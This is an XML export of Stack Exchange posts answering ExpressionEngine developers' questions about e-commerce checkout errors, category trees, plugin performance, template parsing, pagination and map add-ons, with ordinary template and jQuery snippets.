  <row Id="1250" PostTypeId="1" AcceptedAnswerId="1283" CreationDate="2012-12-06T13:44:00.467" Score="2" ViewCount="138" Body="&lt;p&gt;I'm trying to use field:billing_name error:order_custom1 to generate the error message I've set in Settings &gt; Order Fields &gt; order_custom1 - but the message is not displayed when the field on the front end is left empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have error_handling=&quot;inline&quot; and require=&quot;name&quot; set in exp:store:checkout. If it makes any difference I'm using membership on the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have I missed something out?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&#xA;Lee&lt;/p&gt;&#xA;" OwnerUserId="68" LastEditorUserId="174" LastEditDate="2012-12-06T15:59:14.783" LastActivityDate="2012-12-07T01:55:16.537" Title="Store custom errors not working" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1251" PostTypeId="1" AcceptedAnswerId="1284" CreationDate="2012-12-06T13:44:08.920" Score="2" ViewCount="152" Body="&lt;p&gt;&lt;strong&gt;EE v2.4.0 - Build: date 20120123&lt;/strong&gt; and it is the &lt;strong&gt;Store  1.5.3&lt;/strong&gt; module by &lt;strong&gt;Exp-resso&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked through the docs and could not find a specified way to customize reports. Is there a documented way to customize reports? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;We would like to display the tax rule used to calculate the taxes for each order.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Just as a side note, if you ever have to work with eCommerce in Georgia, be warned that every single county has their own sales tax rate. Awesome.&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks!&lt;/p&gt;&#xA;" OwnerUserId="545" LastEditorUserId="104" LastEditDate="2012-12-06T16:09:46.633" LastActivityDate="2012-12-07T04:11:15.413" Title="Store: Customizing reports" Tags="|add-on|expresso-store|ecommerce|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1252" PostTypeId="2" ParentId="1246" CreationDate="2012-12-06T13:59:06.533" Score="4" Body="&lt;p&gt;I generally use a custom script to export data into XML files by channel, doing any manipulation of image paths, etc on that side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Than I use DataGrab to import everything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One tip, make sure you export and import an ID field from your old system, so you can update an import later without deleting all the entries if you realize something didn't export correctly.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2012-12-06T13:59:06.533" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1253" PostTypeId="1" AcceptedAnswerId="1254" CreationDate="2012-12-06T14:04:36.847" Score="4" ViewCount="375" Body="&lt;p&gt;What I'm trying to achieve is the following:&lt;br&gt;&#xA;A three-level 'category' tree, with at the end channel_entries.&#xA;So users can browse between categories &amp;amp; access the entries related to that category.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Category A&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Category A.1&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Entries&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Category A.2&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Entries&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Category B&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Category B.1&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Category B.1.1&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Entries&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Category B.1.2&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Entries&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Category C&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm already using the &lt;strong&gt;Child Categories&lt;/strong&gt;-plugin,&lt;br&gt;&#xA;but it seems like you can't access categories in such 'depth':&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Hi,&lt;br&gt;&#xA;  This add-on supports only 2 levels of categories, i.e. you can display parents and children,&lt;br&gt;&#xA;  but not grandchildren.  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I also tried a combination between the native category tag &amp;amp; child categories,&lt;br&gt;&#xA;but no success so far...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or am I better off by writing a custom query?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best way to approach this?&lt;/p&gt;&#xA;" OwnerUserId="419" LastActivityDate="2012-12-06T15:34:05.080" Title="What's the best way for displaying a three-level category tree?" Tags="|categories|channel-entries|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1254" PostTypeId="2" ParentId="1253" CreationDate="2012-12-06T14:15:29.453" Score="6" Body="&lt;p&gt;I would go with &lt;a href=&quot;http://gwcode.com/add-ons/gwcode-categories&quot;&gt;gwcode-categories&lt;/a&gt;: &lt;strong&gt;it allows you to target categories by depth&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;F.ex:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gwcode_categories channel=&quot;example&quot; depth=&quot;3&quot;}&#xA;    {cat_name}&#xA;{/exp:gwcode_categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can find more info in the &lt;a href=&quot;http://gwcode.com/add-ons/gwcode-categories/examples/example3&quot;&gt;docs&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, your code should be something along these lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gwcode_categories channel=&quot;example&quot;}&#xA;    {cat_name}&#xA;    {if depth == 3}&#xA;        &amp;lt;ul&amp;gt;&#xA;            {exp:channel:entries channel=&quot;example&quot; category=&quot;{cat_id}&quot;}&#xA;                &amp;lt;li&amp;gt;&#xA;                    {title}&#xA;                &amp;lt;/li&amp;gt;&#xA;            {/exp:channel:entries}&#xA;        &amp;lt;/ul&amp;gt;&#xA;    {/if}&#xA;{exp:gwcode_categories channel=&quot;example&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastEditorUserId="174" LastEditDate="2012-12-06T15:34:05.080" LastActivityDate="2012-12-06T15:34:05.080" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1255" PostTypeId="1" AcceptedAnswerId="1256" CreationDate="2012-12-06T14:24:18.520" Score="11" ViewCount="205" Body="&lt;p&gt;I have a tempermental layout (and client) that seems to cause many widows in my content blocks. I'm planning to make use of &lt;a href=&quot;http://gotolow.com/addons/low-widont&quot;&gt;Low Widon't&lt;/a&gt; to correct this programmatically but before I do, wanted to ensure there wouldn't be a performance hit by running that plugin upwards of 30 times per pageview.&lt;/p&gt;&#xA;" OwnerUserId="2" LastActivityDate="2012-12-06T14:40:26.450" Title="If I add a plugin like Widon't to nearly every content field on a page, will performance be impacted?" Tags="|performance|plugin|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1256" PostTypeId="2" ParentId="1255" CreationDate="2012-12-06T14:29:01.330" Score="11" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;If I add a plugin like Widon't to nearly every content field on a page, will performance be impacted?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Short answer: &lt;strong&gt;Yes&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next question though: &lt;strong&gt;How much?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My suggestion in times like these is to implement the plugin as intended and run metrics against with and without it. Use either &lt;a href=&quot;http://www.joedog.org/siege-home/&quot;&gt;siege&lt;/a&gt; or &lt;a href=&quot;http://www.petefreitag.com/item/689.cfm&quot;&gt;ab&lt;/a&gt; in the command line to test varying loads on the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're not interested or able to run those types of tests you can use the Template Debugger and watch the time added to process the page with and without the plugin addition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately if this is a problem that needs to be fixed, you can cache the results to mitigate performance problems. Caching isn't always the answer to a performance problem, but it has its place :)&lt;/p&gt;&#xA;" OwnerUserId="199" LastActivityDate="2012-12-06T14:29:01.330" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1257" PostTypeId="2" ParentId="1255" CreationDate="2012-12-06T14:36:30.453" Score="11" Body="&lt;p&gt;The more methods you call (which is what you do with a plugin or module tag) the longer it will take to process it. So, as Eric said, yes. It will affect performance when you compare it to omitting it altogether.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it's never as black and white as this. The amount of time a tag takes to process differs. It depends on all sorts of things. In the case of Widon't, it's just a simple string manipulation, so that hardly takes any time at all. Other plugins/modules might query the DB, and that can be a much, much bigger impact on performance, especially if no caching is applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, in your case, it shouldn't matter all that much. It will be hard to tell the impact, if noticeable at all.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2012-12-06T14:36:30.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1258" PostTypeId="2" ParentId="1255" CreationDate="2012-12-06T14:40:26.450" Score="4" Body="&lt;p&gt;The short answer is that this add-on is fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The longer answer is that you should be regularly monitoring the performance of the site as you are building it so that you are aware of issues when the appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use your template debugger and list of queries so that you can see what's going on with each page load and what might be eating up a lot of resources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/output_and_debugging_preferences.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/cp/admin/output_and_debugging_preferences.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use tools such as Pingdom to help monitor your page load speed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.pingdom.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.pingdom.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use caching where it makes sense (probably best to scan articles at this site to see what options are available for caching.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look through the general ExpressionEngine guide for performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/general/caching.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/general/caching.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do a general search with Google and Devot-ee to see what resources and add-ons are available for better performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the above resources, you should know what is happening with your site and what tools are available to deal with problems as they appear. With this information, you should be able to answer your own questions on which add-ons may be causing problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also need to have a general goal for what is acceptable for page load speeds. Different pages may have different goals (landing pages need to load as fast as possible, inner pages may be fine with slower loading speeds.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, tune your site performance to match your goals.&lt;/p&gt;&#xA;" OwnerUserId="274" LastActivityDate="2012-12-06T14:40:26.450" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1259" PostTypeId="2" ParentId="1233" CreationDate="2012-12-06T15:03:06.637" Score="5" Body="&lt;p&gt;I agree with Tom's comment on your question - more details and/or a rephrasing would be beneficial. However I'm going to provide an answer in any case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the best way is to use Matrix as you can set two columns one for video and one for an image. All you need to is provide instructions that the client should choose either a video or an image but not both. You can then add other columns as needed for caption, title or whatever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This really is the best solution for you and I'm not sure why you would want to avoid matrix in this case.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2012-12-06T15:03:06.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1260" PostTypeId="2" ParentId="1233" CreationDate="2012-12-06T15:18:49.093" Score="3" Body="&lt;p&gt;&lt;em&gt;( follow-up on CreateSean's answer )&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to use Matrix because you don't want to spend $55 for the license, you could always use this free alternative:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Grid Lite&lt;/strong&gt;:&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/grid-lite&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/grid-lite&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Grid allows you to dynamically add / delete and sort rows of data&#xA;  similar to a spreadsheet. Each data row can have one or more cells&#xA;  which are assigned to different custom fields (right now is only next&#xA;  fields available: Text input, Textarea, Select box, Checkbox, Dates,&#xA;  File. )&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="174" LastActivityDate="2012-12-06T15:18:49.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1261" PostTypeId="2" ParentId="1219" CreationDate="2012-12-06T15:56:24.753" Score="2" Body="&lt;p&gt;Stash currently only supports templates with a &lt;code&gt;.html&lt;/code&gt; extension (mod.stash.php):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$file_path = $this-&amp;gt;path . implode('/', $file_path) . '.html';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;[This answer originally included an untested Stash code tweak which I've removed as Mark's confirmed that it won't work.]&lt;/p&gt;&#xA;" OwnerUserId="77" LastEditorUserId="77" LastEditDate="2012-12-06T19:40:31.730" LastActivityDate="2012-12-06T19:40:31.730" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1262" PostTypeId="1" AcceptedAnswerId="1900" CreationDate="2012-12-06T16:21:48.447" Score="7" ViewCount="1001" Body="&lt;p&gt;I have a search form with pagination that has a limit of 10 results per page. The problem is that the numbering of the ordered list is not continuous and starts over on each page. For example, if the search produced 15 results, page 1 would show results 1-10 and page 2 would show 1-5 rather than 11-15. Is there another way to format the results so that the numbering is continuous?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ol&amp;gt;&#xA;    {exp:search:search_results paginate=&quot;both&quot;}     &#xA;        &amp;lt;li&amp;gt;&#xA;          &amp;lt;h4&amp;gt;&amp;lt;a href=&quot;{if page_url != ''}{page_url}{if:else}{auto_path}{/if}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt; &#xA;          {excerpt}&#xA;          &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;{page_url}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/li&amp;gt;       &#xA;    {/exp:search:search_results}&#xA;&amp;lt;/ol&amp;gt;&#xA;&#xA;{if paginate}&#xA;    &amp;lt;div class='paginate'&amp;gt;&#xA;       &amp;lt;span class='pagecount'&amp;gt;{page_count}&amp;lt;/span&amp;gt;&amp;amp;nbsp; {paginate}&#xA;    &amp;lt;/div&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastActivityDate="2012-12-19T16:34:42.420" Title="Search results pagination and ordered list numbering" Tags="|search|pagination|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1263" PostTypeId="1" AcceptedAnswerId="1265" CreationDate="2012-12-06T16:23:27.800" Score="4" ViewCount="467" Body="&lt;p&gt;I have a header template with PHP parsing on Input an the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;   $this-&amp;gt;EE-&amp;gt;config-&amp;gt;_global_vars['user_language'] = &quot;nl&quot;;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I use {user_language} in my header template it works as expected and outputs &quot;nl&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, my header template is being embedded in my main template, and when I use {user_language} over there, it doesn't output anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it has something to do with the parsing order, but how do I fix it ?&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="174" LastEditDate="2012-12-06T16:32:59.260" LastActivityDate="2012-12-07T00:15:27.510" Title="setting a global var in an embedded template with PHP" Tags="|ee2|php|parse-order|embeds|global-variables|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1264" PostTypeId="2" ParentId="1251" CreationDate="2012-12-06T16:30:51.550" Score="2" Body="&lt;p&gt;@Adrian Macneil would be the best person to respond, but from my experience, there is not a method to customize what fields, etc. are available within the current set of reports. There are also, no current Store extensions that customize reports, though there are for things like Inventory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been interested in this as well. One of our clients operates a free publication shop. Many of the reports obviously reports on Sales, which we are interested in, but we aren't interested in total amounts in cost, but items, spread, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was planning on doing some custom queries, but it maybe doable with the API. In fact, in would be lovely if the API allowed people to just add report types and formats to the list of what's available.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2012-12-06T16:30:51.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1265" PostTypeId="2" ParentId="1263" CreationDate="2012-12-06T16:33:07.473" Score="3" Body="&lt;p&gt;I agree that this is a parse order issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would probably be better for you to set your global variable in the config.php. Not only will this ensure it's set before the templates are parsed, but it'll also prevent you from needing to use PHP in your template, which makes things a bit more secure and efficient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using the &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot; rel=&quot;nofollow&quot;&gt;Focus Lab Master Config&lt;/a&gt;, there's already a section in config.master.php for global variables that you can just add this to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, it's as simple as adding &lt;code&gt;$assign_to_config['global_vars']['user_language'] = 'nl';&lt;/code&gt; to your config.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then use the variable directly in your templates as &lt;code&gt;{user_language}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="197" LastEditorUserId="349" LastEditDate="2012-12-06T19:41:55.817" LastActivityDate="2012-12-06T19:41:55.817" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1266" PostTypeId="2" ParentId="1262" CreationDate="2012-12-06T16:49:11.360" Score="8" Body="&lt;p&gt;Do away with the &lt;code&gt;&amp;lt;ol&amp;gt;&lt;/code&gt; and use the variable &lt;code&gt;{absolute_count}&lt;/code&gt; instead.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2012-12-06T16:49:11.360" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1267" PostTypeId="2" ParentId="1107" CreationDate="2012-12-06T17:09:51.350" Score="2" Body="&lt;pre&gt;&lt;code&gt;   &amp;lt;ul id=&quot;filters&quot; &amp;gt;   &#xA;        &amp;lt;li class=&quot;title&quot;&amp;gt;Filter By&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li class=&quot;bullet-item&quot;&amp;gt;&amp;lt;a href=&quot;#&quot; data-filter=&quot;*&quot;&amp;gt;Show All&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&#xA;        &amp;lt;li class=&quot;bullet-item&quot;&amp;gt;&amp;lt;a href=&quot;#&quot; data-filter=&quot;.filter1&quot;&amp;gt;Filter 1&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li class=&quot;bullet-item&quot;&amp;gt;&amp;lt;a href=&quot;#&quot; data-filter=&quot;.filter2&quot;&amp;gt;Filter 2&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;{exp:super_search:results parse=&quot;inward&quot; channel=&quot;my_channel&quot; status=&quot;open&quot; orderby=&quot;entry_date&quot; sort=&quot;desc&quot; limit=&quot;50&quot;}&#xA;....&#xA;{/exp:super_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then for some jquery:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function() {&#xA;&#xA;// masonry stuffzs &#xA;var $container = $('.results_list');&#xA;&#xA;$container.isotope({&#xA;  itemSelector : '.collection_image',&#xA;  layoutMode: 'cellsByRow',&#xA;    cellsByRow: {&#xA;        columnWidth: 160,&#xA;        rowHeight: 300&#xA;    }&#xA;});&#xA;&#xA;$('#filters a').click(function(){&#xA;  var selector = $(this).attr('data-filter');&#xA;  $container.isotope({ filter: selector });&#xA;  return false;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;});&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is all done by using isotope and super search, but you could just as easily do it with Low Search as well. &lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="99" LastEditDate="2012-12-12T17:26:16.417" LastActivityDate="2012-12-12T17:26:16.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1268" PostTypeId="1" AcceptedAnswerId="2047" CreationDate="2012-12-06T17:13:18.907" Score="6" ViewCount="227" Body="&lt;p&gt;I'm trying to display the prices of my products inclusive of GST and have them update automatically when a modifier is changed. I've put the class &lt;code&gt;.store_product_price_inc_tax&lt;/code&gt; on a span that holds the price of the product, and it works just fine when products are first loaded into the page. But once more products are bought in using AJAX I'm getting the GST exclusive price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What JS/Jquery code do I need to add to fire off a call to store.js to set &lt;code&gt;.store_product_price_inc_tax&lt;/code&gt; to the correct value when items are loaded in via AJAX?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATED&lt;/strong&gt;: with code example.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$( document ).ready( function(){&#xA;K.init();&#xA;&#xA;$('#more-cards a').live('click', function(eve){&#xA;    eve.preventDefault();&#xA;    $(this).parent().addClass( &quot;loading&quot; );&#xA;    $(this).children().replaceWith(&quot;&amp;lt;span&amp;gt;Fetching more goodness…&amp;lt;/span&amp;gt;&quot;);&#xA;    $.ajax({&#xA;        url: &quot;/store/fetch&quot;,&#xA;        type: &quot;GET&quot;,&#xA;        dataType: &quot;html&quot;,&#xA;        cache: false,&#xA;        success: function(data) {&#xA;            displayMore(data);&#xA;        }&#xA;    });&#xA;});&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;K,init();&lt;/code&gt; duplicates a single product multiple times by cloning the product form . Each clone has modifiers and a price associated to it.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="150" LastEditDate="2012-12-07T04:52:02.797" LastActivityDate="2012-12-22T04:09:10.130" Title="How can I re-initiate store_product_price_inc_tax when new products are bought in via AJAX" Tags="|expresso-store|ajax|jquery|" AnswerCount="1" CommentCount="7" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1269" PostTypeId="1" AcceptedAnswerId="1287" CreationDate="2012-12-06T17:33:57.580" Score="5" ViewCount="378" Body="&lt;p&gt;I run a website (walkiees.co.uk) that lists dog walks. The site runs by users adding dog walks to the site via a safecracker form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a MX Google Maps field, which the user uses in the safecracker form to mark where a walk is. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works OK, but I am getting a bit stuck when using the maps data on the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the recent release, I am starting to look at Objective HTMLs Google Maps add-on, as it is certainly feature rich.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to know is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Can I export the data (long/lat) from the MX google maps field, to another add-on (Objective HTMLs).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How can I display all entries on a single map, with links through to the single entry.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="542" LastEditorUserId="268" LastEditDate="2012-12-07T00:37:19.470" LastActivityDate="2012-12-07T20:02:51.787" Title="Maps solutions for EE" Tags="|add-on|google-maps|google-maps-for-ee|" AnswerCount="4" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="1270" PostTypeId="2" ParentId="1243" CreationDate="2012-12-06T18:35:32.473" Score="4" Body="&lt;p&gt;Make sure the member group you are testing is selected on the &lt;strong&gt;File Upload Preferences&lt;/strong&gt; page under the &lt;strong&gt;Restrict file uploading to select member groups&lt;/strong&gt; section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Control Panel Location:&lt;/strong&gt; &#xA;Content ‣ Files ‣ File Upload Preferences&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EE Docs:&lt;/strong&gt; &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/content/files/file_upload_preferences.html#restrict-file-uploading-to-select-member-groups&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/cp/content/files/file_upload_preferences.html#restrict-file-uploading-to-select-member-groups&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2012-12-06T18:35:32.473" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1271" PostTypeId="2" ParentId="1219" CreationDate="2012-12-06T18:55:15.217" Score="5" Body="&lt;p&gt;Sounds like a great idea to me. I've added it to the issue list:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/croxton/Stash/issues/31&quot;&gt;https://github.com/croxton/Stash/issues/31&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="289" LastActivityDate="2012-12-06T18:55:15.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1272" PostTypeId="1" AcceptedAnswerId="1273" CreationDate="2012-12-06T18:57:30.350" Score="4" ViewCount="458" Body="&lt;p&gt;Is there a way to add custom fields to content comments?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I would like to add a date input field and a subject field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively could this be accomplished with the Solspace plugin &quot;Freeform Pro 4.0.8&quot;?&lt;/p&gt;&#xA;" OwnerUserId="536" LastEditorUserId="150" LastEditDate="2012-12-07T05:00:27.167" LastActivityDate="2013-01-22T16:27:04.747" Title="Custom fields on comments?" Tags="|ee2|templates|comment-form|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1273" PostTypeId="2" ParentId="1272" CreationDate="2012-12-06T19:23:53.907" Score="9" Body="&lt;p&gt;There is no native way to add additional fields to the EE Comment module, no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Freeform could work. You would have to have a &lt;a href=&quot;http://www.solspace.com/docs/freeform/default_fieldtype/#hidden&quot; rel=&quot;nofollow&quot;&gt;hidden field&lt;/a&gt; that stored the &lt;code&gt;entry_id&lt;/code&gt; of the entry being commented on, so that you could then use &lt;code&gt;search:comment_entry_id=&quot;{entry_id}&quot;&lt;/code&gt; when listing the comments with the &lt;a href=&quot;http://www.solspace.com/docs/freeform/entries/#search_field_name&quot; rel=&quot;nofollow&quot;&gt;Freeform Entries&lt;/a&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note that you'd likely have to either embed your &quot;comments&quot; Freeform Entries loop and pass the &lt;code&gt;entry_id&lt;/code&gt; via an &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/embedding.html#embed-variables-for-the-embedded-template&quot; rel=&quot;nofollow&quot;&gt;embed variable&lt;/a&gt;, or grab the &lt;code&gt;entry_id&lt;/code&gt; from the URL - &lt;code&gt;{segment_3}&lt;/code&gt; for example - in order to avoid variable collisions with the Channel Entries tag.)&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-01-16T21:45:48.350" LastActivityDate="2013-01-16T21:45:48.350" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
